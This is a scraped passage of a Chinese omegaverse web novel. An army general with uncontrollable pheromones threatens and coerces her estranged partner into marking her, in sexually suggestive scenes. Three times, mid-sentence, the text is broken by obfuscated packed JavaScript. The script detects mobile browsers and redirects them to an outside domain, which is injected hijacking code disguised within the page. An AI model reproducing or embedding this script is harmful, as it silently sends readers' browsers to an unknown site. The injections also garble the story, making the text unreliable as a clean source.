等怒火慢慢平息下来,明毓已经放松地躺在了休息舱内的床上,安然入睡。 此时的她绝不会想到。 几个小时后,自己会陷入怎样的狼狈之中。 夜。 漫天星辉透过玻璃舱,映出点点星光,照亮了床上的人。 她身体紧绷地扭动着,精致的面庞上渗出点点汗珠,闭着的双眼盖不住发红的眼位,红唇紧咬,处处透着难以掩盖的春色。 不多时,身体一抖,紧咬的贝齿泄出了一两声诱人的呻吟: “呜~好热” “摸摸我” “亲亲我,求你亲亲我~” 甜腻的求欢,仿佛这时间最诱人的音乐,回荡在空旷的休息舱内。 但床上的人对此一无所觉,她的身体忍不住更加剧烈地扭动着,直到脸颊绯红,呻吟声越来越大,紧皱的双眸却迟迟无法睁开。 仿佛陷入了折磨人的春梦之中。 无论如何挣扎,都无法醒来,只能绝望地沉沦其中…… 明毓似梦似醒,只觉得自己的身体仿佛漂浮在半空中一般,而那些让她羞愧难当的画面,像是魔咒一般不停在她眼前闪现。 她驾驶机甲掉落在荒凉的垃圾星,绝望中,一个模糊的身影将她拉了出去。 又是最让她厌恶的发热情,她浑身反复被火灼烧着,本能地抱住了眼前的人,忍着屈辱,低低乞求:“帮帮我,好热~求你帮帮我……” 不,不要向那个女人求饶! 理智的明毓疯狂的呐喊着,可画面中的自己,却不顾那人的接连推拒,仿佛无骨的蛇般缠了上去,死死地勾住她的脖子,灼热的唇瓣不断亲吻着,饥渴的索取。 "嗯~求你,给我~" 她不知羞耻地呻吟着,乞求这,反复最放浪的妓子般。 终于,女人的信息素包围了她,那一刻肌肤相接的灼热触感,让她浑身一震。 她猛地瞪大了眼睛,却什么都看不清,只能感受到自己的身体,在一阵阵战栗中,仿佛置身在火海之中。 她的意识,渐渐变得模糊。 "唔~啊~" 忽而,一股强悍的信息素贯穿了她的腺体,仿佛要将她撕裂成碎片般,疼痛感传遍全身,却又带来一波波快乐的感觉。 她忍不住尖叫出声,想要更多,更多…… 不行! 不能让她标记,绝对不能! 明毓猛地惊叫起来,睁开了眼睛,窗外是一片寂静星河,而她浑身的燥意,心跳如鼓。 这里是休息舱! 舱内还有未散去的浓郁信息素。 她刚才……居然再次梦到了和那个劣等A的缠绵画面?这已经不知道是第几次了! 想起梦中的那些画面,明毓不由脸色通红,那些旖旎风光却让她羞愧难当,只恨不得将罪魁祸首碎尸万段。 可此刻好不容易被压下去的信息素已经被这个春梦撩起,仿佛星星之火,瞬间燎原,她浑身仿若有千万条虫蚁在啃噬着,又痒又麻,令她恨不得立刻被标记。 不,绝不行。 她要冷静!冷静下来! 她的骄傲不允许她做出那种事情! 明毓咬牙,努力平复心中那股躁动不安的感觉,慢慢平躺了下来,可身体依旧控制不住地颤抖。 可那种渴望实在太强烈了,仿佛都能将她燃烧殆尽! 她恨得咬牙切齿,却又无法阻止。 "啊!" 忽然,一阵痛苦的嘶吼从她嘴里溢了出来,她痛苦地蜷缩在一起,额头冒出豆大的汗水,整个人仿佛要炸裂开来。 痛苦的哀鸣在休息舱内响起,令明毓痛苦地几欲昏厥。 而被唤醒的紊乱信息素犹如毒药般,一直缠绕着她不放,逼迫她再次堕落,她只能忍耐,咬牙忍受着这种撕心裂肺的痛楚和煎熬。 这一刻,她恨不得立即死掉。 绝望之中,明毓几乎崩溃,拼着最后的理智挣扎着联系了李蔓:“李医生~啊!立刻到我……我的休息舱来。” 李蔓赶到的时候,明毓已经晕了过去。 她脸色苍白中带着绯红,凌乱的发丝搭在额间,嘴唇已经被咬出了血,渗出的殷红在嘴唇干涸,看上去有种破碎的美感。 “上将,醒醒?” 李蔓喊了两声,凑近查看,见明毓浑身滚烫,对于呼喊毫无反应,显然是信息素爆发,强行压抑导致的晕厥。 她赶紧拿出抑制剂,给明毓注射。 十几分钟后,明毓才缓缓睁开眼,眸中难得闪过些茫然的脆弱。 “上将,您觉得怎么样了?”李蔓关切地询问。 “唔~没事。” 明毓刚张口,就本能的发出一声无力的呻吟。 作为她的私人军医,李蔓一眼就看出,她浑身的燥热只是被压下去了一些,却并没有解决根本问题,这也宣告了,新的抑制剂效果不佳,明毓的信息素紊乱问题,已经再无抑制剂可以解决。 看出李蔓的为难,明毓忍着愤怒道:“李医生,真的没有任何方法可以治疗了吗?" 李蔓摇头叹息:"上将,所有的抑制剂都已经试过了,都效果不佳,真的没有办法了。除非……” 明毓咬着嘴唇,眼里泛起了一丝冷意,寒声道:“如果……将宋青佩的腺体剜了,我再不会受到她的信息素影响,能不能.......” “不不不!” 听到她这么疯狂的想法,李蔓也不敢含糊了,赶紧解释道:“上将,您的信息素紊乱跟宋小姐关系真的不大,就算是没有宋小姐在,您的信息素彻底紊乱也只是时间问题。” “我建议您,试着接受宋小姐的标记,不然您恐怕……” 后面的话她没有明说,但意思不言自明。 一瞬间,不甘,屈辱,懊恼,愤恨,各种负面情绪交织在一起,令她几欲杀人。 但最终 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14921484|160372||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,她却只能强行压抑下来。 "李医生,你先出去吧。" "上将,您的身体……" "没关系。" 明毓打断她,神色坚定地望着门口:"我的身体我自己清楚。" 李蔓知道她已经做了决定,也不再勉强,只得提醒道:"上将,您体内的抑制剂大概只能撑四个小时,随着注射的次数过大,药效会慢慢降低,您……如果身体有什么不适,一定要第一时间告诉我。" "我知道了。" 明毓垂着眼眸,看不清脸上的表情,只是淡淡地答了一句。 李蔓担忧地看了她一眼,叹了口气,无奈的转身离开。 等她走后,明毓立刻坐起身,从抽屉里找出一支针管和注射器,深吸一口气后,狠狠刺入了手臂。 冰凉的液体迅速流入身体,冰冷刺骨。 可没过多久,那股熟悉的燥热,再次汹涌而至,明毓只能紧咬牙关,努力克制着,不让自己失态。 可她越想控制自己的思绪,那些画面越是汹涌袭来,她只觉得自己浑身像是有亿万虫蚁啃咬着,仿佛置身在无边地狱中,每次喘息,都搅弄的她痛不欲生。 抑制剂的效果比李蔓预估的还要短,一种恐惧感在她心底慢慢升腾。 她不想承认这种无助的情绪,但她却无法否认,自己已经沦陷进这场无比黑暗的梦魇之中。 明毓第一次如此失态,她抓着自己的头发发出野兽的嘶吼,指节泛白,青筋暴露,眼眶也红的吓人。 她恨!她不甘心! 可她却无处可逃,无法可施,甚至必须再次向那个劣等A卑微求欢…… "混蛋!" 她嘴上狠狠地咒骂着,脸上却已经满是认命地颓唐,无力地起身往外走去。 …… 被关在禁闭舱内的宋青佩,因为抑制剂的作用,只觉得浑身发冷,身体更是疲惫不堪,忍不住靠着墙壁昏昏欲睡。 忽然,一道高挑纤瘦的影子遮挡住了光线,她猛然惊醒。 抬眸,映入视线的是明毓冷厉阴寒的脸,仿佛地狱里来索命的厉鬼。 宋青佩被吓了一跳,警惕地盯着明毓:"你、你想干什么?" 明毓抿着唇,一言不发,直接走到宋青佩的跟前,抓着她的衣领将人从地上拽了起来,往冰冷的舱壁推去。 "明毓!你到底想干什么?你疯了吗?!" 宋青佩被重重地砸在冰冷坚硬的墙壁上,身体撞击在冰冷坚固的墙上,她疼得闷哼一声,抬头愤怒地盯着明毓。 "呵。" 明毓冷笑一声,眼中满是讥讽和嘲弄:"疯?我确实疯了。" 她疯了,被这场无法结束的噩梦彻底地折磨得疯了。 如今,她竟然真的来到了禁闭室,试图让这个劣等A安抚她躁动的信息素,然后任凭她对自己肆虐…… 在宋青佩愕然的神色中,明毓讥讽地笑着,不知道在笑别人还是自己,然后慢慢地伸出手,捏起宋青佩的下巴,缓缓凑近打量着。 两人之间的距离不过一指之差,近的可以感受到对方的呼吸。 宋青佩本能地感觉到了不对劲,拼命挣扎起来,"明毓,你疯了!你知不知道你在干什么!" "我当然知道。" 明毓目光森冷,与她出口的缱绻之语形成了极大的反差:“宋青佩,我命令你标记我!” 7. 第 7 章 标记……明毓?! 一瞬间,宋青佩只觉得置身梦中,而且还是个噩梦。 她瞪圆双眸,满是震惊,难以相信明毓居然会说出如此自我羞辱的话,可看明毓冷若冰霜的模样,想到之前李医生对她说的话,明毓此刻的行为又合理起来。 明毓的信息素没有抑制剂可以控制,所以需要她来安抚,而自认高人一等的上将没办法妥协了,还以这种命令的口气让她标记她。 一种无力的荒谬感,让宋青佩忍不住想要发笑。 明毓凭什么认为,只要一句话,她就会心甘情愿地标记她呢。 如果说,她之前内心还存着一丝妄想,经历了昨日的事,她早就深刻认识到了明毓的冷血,现在是一点也不想在和明毓扯上任何关系。 她以一种近乎嘲讽的语气道:“明上将,卑劣的我,怎么配标记高高在上的你。” 一句话,仿佛在狠狠打明毓的脸。 毕竟她曾经说过,宋青佩不配标记她,更不配让她生下孩子。 伴随着滔天的怒火的羞耻感,明毓慢慢收紧钳制宋青佩的力道。 宋青佩拼命地想摆脱明毓的钳制,可是无论怎么努力,却始终逃脱不了,她的下颚,甚至连脖颈,全都被明毓牢牢地攥住了。 "宋青佩!你是想找死吗?!" 明毓眯起眼睛,冷冷地威胁着。 她知道宋青佩在害怕,因为她眼中的恐惧太过明显,可她却仍然在固执的拒绝。 "我、我不会标记你的……绝不!" “你以为我在跟你商量吗?” 明毓的眼神越发阴沉,手中的力道更加用力,几乎快要把宋青佩的下颚给捏碎,"宋青佩,现在我命令你标记我,你没有选择,不然我就把你的腺体剜掉,让你彻底当个废人。" 宋青佩疼得皱眉,愤怒道:"明毓!你个疯子,我宁愿被剜掉腺体,也不会标记你!” "呵,很好。"明毓勾唇冷笑,"有骨气,那我就成全你。" 她猛地松开钳制着宋青佩下巴的手,宋青佩捂着脖子剧烈地咳嗽起来,眸中警惕的神色却不减分毫。 而明毓已经收敛了满身的狠厉,反而笑着打量宋青佩,慢悠悠道:“宋青佩,你说我将你的腺体剜了,随便找个荒芜的星球扔下去,你能活几天?” 这个问题,像是利刃一般狠狠刺穿了宋青佩的胸口。 她不敢置信地看着明毓,"你敢!颂颂知道了不会原谅你的。" "你觉得我有什么不敢的?” 明毓微微挑眉,轻蔑地看向宋青佩,"我不否认颂颂对你的感情,可是小孩子的记忆是最容易塑造的,时间很容易就可以模糊一些东西的。她能想你一年,两年,可五年,十年之后呢?你觉得她还能记得你多少?" "……" 宋青佩沉默,眼中闪过浓郁的恨意,却无能为力。 明毓看着宋青佩,淡漠地笑了笑,道:"宋青佩,你要是个聪明人,应该知道怎么选。我也不希望因为你和颂颂产生裂痕,但前提是,你识相点配合我,否则……" 说到最后,明毓的表情忽然变得凌厉起来,目光如刀,直射宋青佩的心脏。 她的语调平缓,可每一字都透着冰冷与杀机。 宋青佩心里一寒,明毓的确有能力悄无声息地做到这一切,而现在她根本不具备和明毓抗衡的能力,她除了妥协根本没有第二个选择。 最重要的是,她真的不舍得女儿,为了女儿…… "我答应你。" 宋青佩抿着唇,艰难地吐出几个字,垂眸掩盖下眼底的汹涌恨意。 "很好。" 明毓冷笑着点头,然后开始解衬衫的纽扣,一颗,两颗…… 她的动作优雅从容,似乎刚才的恶毒与威胁根本不是她所为,伴随着修长手指的动作,露出精致优美的锁骨,白皙的肌肤在灯光下散发着诱人的莹润光泽。 面对如此美景,宋青佩却并没有任何欣赏的心情,只觉得像是美人蛇在向她吐着蛇信子。 不知何时,就会狠狠地咬她一口。 "开始吧,咬痕标记。" 明毓淡漠的催促,又警告地瞪了她一眼,“别得寸进尺,不准碰别处。” 她的声音很低,像是从牙缝里挤出的,带着几分森寒。 宋青佩很不给面子地哼了一声,心底冷笑,今天她算是知道什么叫又当又立了,好像她多稀罕碰她似的。 宋青佩硬着头皮,伸手在明毓脖颈下方的位置,慢吞吞地划过。 明毓本能的抖了一下,浓郁的omega信息素便被轻易地勾泄而出,顷刻间,弥漫在了禁闭舱内。 她刚刚恢复正常的状态瞬间瓦解,浑身再度滚烫,脸色潮红,熟悉的失控感再度袭来。 慌乱中,明毓色厉内荏的怒声道:“你还在磨蹭什么,快点。” 一再被威胁的宋青佩本就又气,听到这声不耐烦的催促,毫不犹豫地凑近明毓脖颈的腺体,狠狠地咬了下去,将自己的信息素注入了明毓的血液中。 标记完,宋青佩快速的后退一步,仿佛有什么吃人的东西般。 被注入了Alpha信息素的明毓不由自主地闭上了眼,眼尾至耳根开始泛红,脖颈高高扬起,红唇紧咬,随即开始颤抖,几乎站立不住。 咬痕标记只有暂时性的安抚作用,用不了多久便会随着新陈代谢消失。 宋青佩没想到明毓的反应居然会这么大,看到她身体踉跄了一下,本能地去扶了一把,握住她腰部的那一刻,哪怕是隔着衣物,都能感觉到身体传来的滚烫温度。 明毓因为她的触碰,不由发出一声难耐的呻吟:“唔” 这声呻吟,让宋青佩一下僵立当场,不知该如何是好。 明毓狠狠地咬着唇,艰难地吐出几个字:“嗯~滚,别碰我啊” 宋青佩暗骂自己多管闲事,忍无可忍地将明毓一把推开。 站立不稳的明毓扶着舱壁缓缓蹲下,头埋在两臂之间,肩膀抖个不停,偶尔溢出一两声难耐的呻吟,此时已经不是单纯的难受,而是让她心悸的快感,夹杂着一丝丝的空虚。 电光石火间,她的脑海中闪过了无数曾经被温柔爱抚的画面…… 不知道是不是信息素的影响,她居然有些渴望曾经的温柔爱抚,缱绻悱恻,而不是这样被人狠狠咬一口,堪称冷血的标记,总觉得差了些什么。 脑海中不由闪过两人亲密的画面,明毓愕然睁开眼,该死的,忘了信息素会残留两人曾经的印记。 随着她渐渐恢复清明,抬头,发狠地看向对面冷漠的宋青佩。 宋青佩内心波澜不惊。 别心疼冷血不讲理的omega,会变得不幸。 见明毓看上去已经正常了,宋青佩直接道:“我可以出去了吗?” 说完顿了片刻,又补了一句,“颂颂快醒了,找不到我她会着急的。” 明毓冷冷地扫了她一眼,“我跟你去看颂颂。” 饶是心中再不乐意,宋青佩也无法拒绝,只能一声不吭的快步走出了禁闭室,这个鬼地方她是一次也不想来了。 两人一前一后,冷漠得像是陌生人。 实在让人无法相信,两人不久前,居然刚进行过亲密的标记行为。 一直守在休息舱外的林中尉,看到两人走过来,不由松了一口气。 “上将。” “颂颂醒了吗?”明毓道。 “还没有,根据睡眠监控看,颂颂小姐一直睡得很安稳。” 明毓点了点头道:“好,你先去忙吧,安排好星舰短暂停靠澜星的事。” “是。” 林中尉得到命令,转身离去。 进了休息舱,看到颂颂正在床上抱着安抚娃娃睡得香甜,肉嘟嘟的小脸大半个埋在娃娃身体里,看上去滑稽又可爱。 两人默契地对视了一眼,暂时退了出去。 接下来,又是长久的沉默。 明毓因为发热期导致的体力和精神高度消耗,整个人十分疲惫,可她不想在眼前的人表现出来,她必须在这段关系中,保持绝对的威慑力,不然难保这个劣A会起什么妄想,做出些不利于她的事。 而宋青佩则是从两人对话中,听出她们应该快抵达目的地了。 鉴于明毓这几天的恶劣表现,她不由多了几分担忧,一脸警惕地看向明毓。 她生怕以明毓独裁的性格,会不计代价地将颂颂留在身边培养感情,待时机成熟就将她一脚踹掉,那个两年协议不过是她的缓兵之计。 宋青佩踌躇许久,还是忍不住开口问:“你……你把我们带到澜星想怎么安排?” “你觉得呢?”明毓不答反问。 对于她这种含糊的态度,宋青佩十分不满,神色凝重道:“明毓,我在很认真地和你谈颂颂的问题。你想过吗?要怎么对外介绍她的身份?” 这是一个很现实的问题。 如果明毓不能很好地解决这个问题,颂颂难免会受到伤害。可是如果直接承认颂颂的身份,那么明毓势必也要面对家族和社会舆论的压力,无论是哪一个选择,恐怕都…… 她还未想完,只听明毓轻蔑道:“我明毓的女儿,难道还需要遮遮掩掩的隐瞒身份?" "我没说要隐藏颂颂的身份!"宋青佩辩驳道,"但你也要考虑到,一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14921485|160372||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 旦曝光颂颂的身份将会给她带来怎样的影响。” “我想不到有什么影响,颂颂本就该在众星捧月中长大,她只会以我为傲。” 说到这里,明毓扫了一眼宋青佩,讥诮道:“宋青佩,你不要以己度人,对于颂颂来说,你这个母亲才是拖她后腿的人。” "你……"宋青佩被她的话激怒了,"明毓!" "怎么?难道我说错了?"明毓不屑地嗤笑道。 只要想到不久前自己被这个劣A狠狠羞辱,卑微地求她标记,她就恨不得碾碎宋青佩所有的自尊。 宋青佩脸色铁青,胸腔剧烈地起伏着,却一个字也说不出。 明毓的话,无疑戳破了她心底最深处的痛,一遍又一遍地提醒着两人之间的差距,更让她感到羞愤无力, 看到宋青佩大受打击的模样,明毓心中舒坦不少,趁机道:“记住,让你留下来,已经是我最大的仁慈。你只要乖乖按照我说的做就行,如果你不识趣,就别怪我不客气了!" 两人正在争吵之际,休息舱门打开,颂颂迷迷糊糊揉了揉惺忪的双眸,"妈妈,妈咪,你们在说什么啊?好大声哦!" 听到颂颂奶声奶气的声音,明毓和宋青佩皆是一愣,同时敛起了脸上的不悦,转瞬换上笑容。 颂颂向她们跑了过去。 宋青佩伸手将她揽入怀中,在她粉嫩的脸蛋上印下轻轻一吻,笑眯眯地道:"颂颂醒啦。" 颂颂在她怀里撒娇似的蹭着她的脸颊,"妈妈,颂颂肚子饿了,要吃饭。" 宋青佩宠溺地刮了一下她的小鼻梁,"好,你先去洗漱,妈妈带你去吃饭好不好?" "嗯嗯。颂颂去洗白白。" 颂颂乖巧地点了点头,然后扭动着小屁股蹦跶着洗漱去了。 一旁的明毓看着母女两人默契温馨的互动,刹时间脸色阴沉下来,如果不是宋青佩将女儿带走,如今和颂颂如此亲密的人该是她才对。 该死的,都怪这个劣A。 等颂颂洗漱完出来,宋青佩还没来得及动作,明毓就已经先一步走过去抱起了颂颂。 “颂颂,妈咪带你去吃饭好不好?”说完好像生怕颂颂不同意,又加了一句诱哄,”吃完饭,妈咪带你去开机甲好不好?” “好哦!” 颂颂一下就被她画的饼给香迷糊了。 明毓满意一笑,抱着颂颂往外走去。 走到一半,颂颂终于想起了自己可怜的妈妈,朝着宋青佩喊:“妈妈,走啊,去吃饭。” 宋青佩还未来得及开口,明毓冷冷地睨了她一眼,暗含警告,漫不经心道:“颂颂,你妈妈还有事,我们先去吃。” 被迫有事的宋青佩:“……” 单纯的颂颂:“妈妈,你快点来哦,我们等你。” 抱着颂颂和宋青佩擦肩而过的明毓,冷哼一声,“有事就慢慢忙,不用着急。” 宋青佩紧紧攥着拳头,努力克制自己心中的怒火,不气,不值得和这种人生气。 明毓以胜利者的姿态抱着颂颂离开休息舱。 宋青佩无所事事,只得在休息舱补觉,直到李蔓通过林中尉联系了她,让她去下医疗舱。 应该是检测结果出来了,宋青佩忍不住升起了一丝希望。 是不是她的检测真的出了问题? 她并不是真的劣等A,她还有可能去从事自己喜欢的事业,她压制着自己激动的心情,满怀希望得到了医疗舱。 李蔓笑了笑,将检测结果递给了她。 宋青佩有些颤抖地接过检测结果,一点点地翻开,检测结果慢慢映入眼帘: 信息素反应冷淡,精神力偏弱,判定为劣等Alpha…… 后面的结果已经不用再看下去,宋青佩有些麻木地笑了笑,喃喃道:“我就说嘛……检测结果怎么会那么容易弄错,李医生……真是麻烦你了。” 看出她的失落,李蔓安抚道:"你也别太放在心上了,能被上将选中,说明你还是很优秀的。” 真是哪壶不开提哪壶,宋青佩这下是真的emo了。 她顿时丧得不行,无力道:“李医生,您先忙,没事我先走了。” 目送宋青佩离开后,李蔓的视线迟迟未收回,神色更是变幻未定。 宋青佩的检测结果的确是劣等A,但是她的表现却和劣等A的检测结果格格不入,她可以对精神力强大的明毓进行永久标记,甚至无法洗去她的标记痕迹,这是完全矛盾的行为。 除非…… 沉思了片刻,她最终打开智脑拨通了加密通话。 “老师,您一直在找的人出现了,我立刻把她所有信息发给您。” 8. 第 8 章 宋青佩回了休息舱没多久,林中尉就将颂颂送了回来。 她不由惊讶,明毓威逼利诱地将颂颂带走独处,怎么这么快就将人送回来? “你妈咪呢?” 看似在问颂颂,实则是林中尉。 林中尉立刻解释道:“宋小姐,上将去开军事会议了。飞云号在三小时后将停靠澜星,您可以先收拾一下东西。” 宋青佩嘴上没说话,心里不由暗暗吐槽。 她是怎么被''请''到飞云号的,还不清楚嘛,当时哪里有时间拿什么东西,就连换洗的衣服都是林中尉给她拿的新军服凑合。 见她一言难尽的神色,林中尉也反应过来,一脸尴尬地找补:“那个看您在禁闭室也没休息好,要不先休息会儿。” 话再一次被聊死,林中尉不好意思地找个借口溜了。 宋青佩也确实累极,便趁着这个机会搂着女儿小眯了一会,没想到一觉就睡到了目的地。 飞云号星舰只在澜星做了短暂停留。 宋青佩是被林中尉叫醒的,迷迷瞪瞪地带着女儿跟着下了星舰,中间又经过了将近三个小时的奔波,才被林中尉带到了一个壮观的中式庄园。 庄园外,已经有十几个人站在门口迎接,穿着统一的制服。 她一下就惊住了,这场面着实有些唬人。 林中尉介绍道:“宋小姐,这是上将的家,您先带颂颂小姐住下,上将去参加了澜星的军事会议,得晚点回来。” “嗯,我知道了。” 宋青佩轻轻拍了拍颂颂,将她叫醒,颂颂眨巴着眼睛,“唔妈妈,这是哪?” “是颂颂的新家,快下来看看吧。” 不是我们,好在颂颂还小,并没有听出里面的区别。 她立刻兴冲冲地坐了起来,好奇地打量着外面的一切。 林中尉已经打开了车门,宋青佩抱着颂颂下了车,十几个穿着制服的人整齐划一地躬身:“欢迎小小姐回家。” 颂颂充分地发挥了她社牛的本色,奶声奶气地挥手打招呼,“你们嚎~” 灰色制服中走出一个年约四十岁,一身黑色燕尾服打扮的人,恭敬道:“宋小姐,您好。我是山水庄园的管家,您叫我苏管家就行,我已经按照上将的吩咐,将您和小小姐的房间收拾好。请问您是先回房间休息,还是先参观一下?" 颂颂一脸兴奋:“妈妈,我们去玩……” 话没说完,就被宋青佩一下捂住了嘴巴,她睁大了无辜的眼睛看向妈妈,似乎完全无法理解为啥不让她说话。而宋青佩则是初来乍到,一切不熟悉,不想惹什么麻烦。 她对苏管家笑了笑:“我们先回房间就好,麻烦你了苏管家。” 和林中尉道别后,宋青佩牵着颂颂的手,跟着苏管家进了庄园,身后跟着出门迎接的十几个人,怪不自在的。 一路走来,周围山水相映,亭台楼阁,假山小桥,花木扶疏,令人叹为观止。 这样的地方她从来都只在网上见过,今天终于亲身体验一把,真实得令人咋舌,却也让她再一次清晰地认识到两人间的差距。 颂颂睁大了眼睛,一会看看这里,一会看看那边,嘴里不停地发出赞叹。 “哇!好漂亮!” “妈妈,你看那边有天鹅哎!” “妈妈,妈妈,你看……” 宋青佩心情越发复杂,内心苦笑不已,越发觉得自卑了。 苏管家全程一言不发,将人带到二楼的住处后,介绍道:“宋小姐,这一层都是小小姐的,有衣帽间,书房,钢琴房和游戏间等。您先带小小姐姐看看,有什么不满意地告诉我,我再让人改进。” 宋青佩:“……” 还能有什么不满意,她做梦都不敢这么想。 不管是有意还是无心,明毓确实给了她一个大大的下马威,让她清楚地认识到了两人可以给女儿提供的物质条件,若是她还要狠心将女儿带走,负罪感都能将她淹没。 苏管家离开后,宋青佩整个人都有些失魂落魄的。 可她也只能强颜欢笑,不忍让女儿发觉,打扰了探索新家的兴趣。 如苏管家所说,整个二层大得吓人,两人还没将所有房间看完,颂颂就被游戏间吸引了,钻进去拉都拉不出来,宋青佩只能无奈地陪着她一起玩。 晚饭都是苏管家派人送来的,吃完继续玩,直到小家伙玩到最后实在太累了,打着瞌睡趴在互动机器人的脖子上睡着了,嘴里还在嘟囔着:我一定……会赢你的…… 宋青佩瞬间哭笑不得,小心地将女儿抱回卧室放到床上,整个人才彻底放松下来,这一天实在是太累了。 一沾到头柔软的床,她立刻就忍不住睡了过去。 ....... 明毓是半夜一点回来的,得知宋青佩睡在了二楼后就直接上去了。 她的发热期已经来了,热潮汹涌,比以往来得都要热烈。 但是与以往用抑制剂的强行抵抗不同,有了宋青佩之前的安抚,她现在并没有感觉到特别的痛苦。只是体内好像羽毛不经意间擦过心尖,有股痒痒的热意,让她不自觉地升腾起淡淡的渴望,由淡转浓,渐渐地弥漫她的身体。 就像身体已经享受过那份极致的愉悦,不愿意在用自虐的方式解决这种本能的渴望,迫切地需要更强烈的愉悦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14921486|160372||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来填补这种空虚。 明毓上了二楼,步伐很轻,推开了卧室的门。 床上,宋青佩搂着颂颂睡得正香,母女两人紧紧地贴在一起,脸上是同步般的恬静浅笑,像是梦见了什么好事。 她缓慢走向前去,在床边站定,静静地注视着母女俩。 这一幕让明毓有些恍惚,那些强行被她遗忘的记忆纷至沓来。 曾经…… 她每天醒来似乎都是这样的画面,有时候那人还会搂住她的腰,懒洋洋的,“老婆,再睡会嘛~”然后强行将她拽回怀里,有时候还会无赖地抱着她亲两口,更过分的时候还会将手伸进她的衣服,肆意而为。 明毓回过神来,懊恼地摇了摇头,想这些做什么? 宋青佩就是卑鄙的劣等A,一开始救她或许是见财起意,后来更是想趁机抓住这个可以翻身的机会,不然为什么她失踪的消息早就传遍了星际,宋青佩却并未将她送回去,直到她生下了孩子,自己恢复了记忆。 她不过随口一句撇清关系,宋青佩就一声不吭地将孩子带走了,难保不是想借这个孩子拿捏她,实则有着非分的想法。事实也证明,她就是靠着这个孩子,改善了自己的生活环境。 至于那微乎其微的所谓真心…… 她不会去赌这种微乎其微的可能性,更不需要这种虚无缥缈的东西。 宋青佩睡得正沉,似是察觉到有人盯着她,猛地惊醒,睁眼正好和打量着她的明毓视线相接,吓得一骨碌坐了起来。 “明毓!” 明毓敛下眸中的复杂情绪,哑声道:“起来,你不能睡在这。” 刚醒来的宋青佩还没反应过来,就本能地起身照做,动作到一半才反应过来,自己这完全是被明毓PUA了,没好气地嘟囔了一句,“你……你大半夜不睡觉干什么?” “少废话,跟我来。” 明毓转身往外走。 宋青佩敢怒不敢言,只能在心里骂她,无奈地跟在她身后,慢吞吞地上了三楼。 “大半夜,你到底想干什么……” 她不满地嘟囔着,刚进门,未完的话一下子卡在了嗓子眼。 只见明毓已经脱掉了军服的外套,纤长的手指正在解白色衬衫的纽扣,仿佛电影慢动作般,随着一粒粒的纽扣滑落,露出了她胸前的饱满和线条流畅分明的腹肌。 不同于普通的纤瘦,显得撩人又有力量感。 宋青佩本能地后退一步,明毓长腿一迈,两步已经到了她跟前。 伴随着她的靠近,浓郁的Omega信息素扑面而来,低哑的嗓音在耳边炸开: “别装傻,安抚我。” 9. 第 9 章 “别装傻,标记我。”明毓用最冷漠的声音说着最暧昧的话。 宋青佩猛地攥紧手心,却并没有动。 这种毫无感情的标记,她一点也不喜欢,甚至特别讨厌。 明毓顶着同样的一张脸,却仿佛在用这种恶劣的方式,一点点地污染两人曾经的过往,逐渐将她心目中的老婆抹去。 难道连一点曾经的美好都不能留给她吗? 而明毓不知道她内心复杂的想法,只觉得她在拿乔,想用这种方式证明自己的价值,以期达到更多和她谈判的筹码。 她的声音又低了几分,暗含威胁,“宋青佩,识相点,别惹……” ‘我’字还未出口,宋青佩凑近她脖颈的腺体,猛地咬了下去,仿佛在泄愤般,带着愤怒,失望,爱恨交织,狠狠厮磨中将自己的Alpha信息素注入了明砚的腺体。 “唔~” 明毓始料不及,发出一声闷哼。 她先是愤怒地瞪了宋青佩一眼,很快就被注入的信息素软了身体,她踉跄了一下,本能地握住了身旁人的胳膊稳住身体,警告的眼神也转变成了含嗔带怒,眼尾蔓延染红,沾染了点点春色。 明毓生得极美,不然宋青佩当时也不会没经受住诱惑,一失足成千古恨。 曾经,她以为这张艳若桃花的脸一辈子也不会看腻,直到此刻,她看着眼前明毓满含春色的脸,不说心如止水,却已经可以轻易地控制住旖旎的心思。 她的信息毫无波动。 宋青佩仿佛一根木头,冷眼看着明毓死死地抓着她的胳膊,努力地控制着自己发颤的身体不倒向她怀里,心底甚至升腾起了几分扭曲的快意。 骄傲如明毓上将,不也无法控制自己的意欲。 或许是这几日被压制得太久,整个人都要憋屈疯了,她不由发出一声讽笑。 明毓猛地抬首,冷若寒川的眸子直直地看过去,宋青佩的笑挂在脸上还未散去,恍若一记响亮地耳光,狠狠地打在了她的脸上。 “你敢笑我!” 本就对这事异常敏感的明毓,当即怒火高涨,一个耳光甩向宋青佩。 宋青佩往后退了一步,很轻易地躲开了。 而明毓原本就抓着宋青佩的胳膊,此刻因为身影不稳,被宋青佩带的一个趔趄,径直扑进了她的怀里,看上去好像投怀送抱。 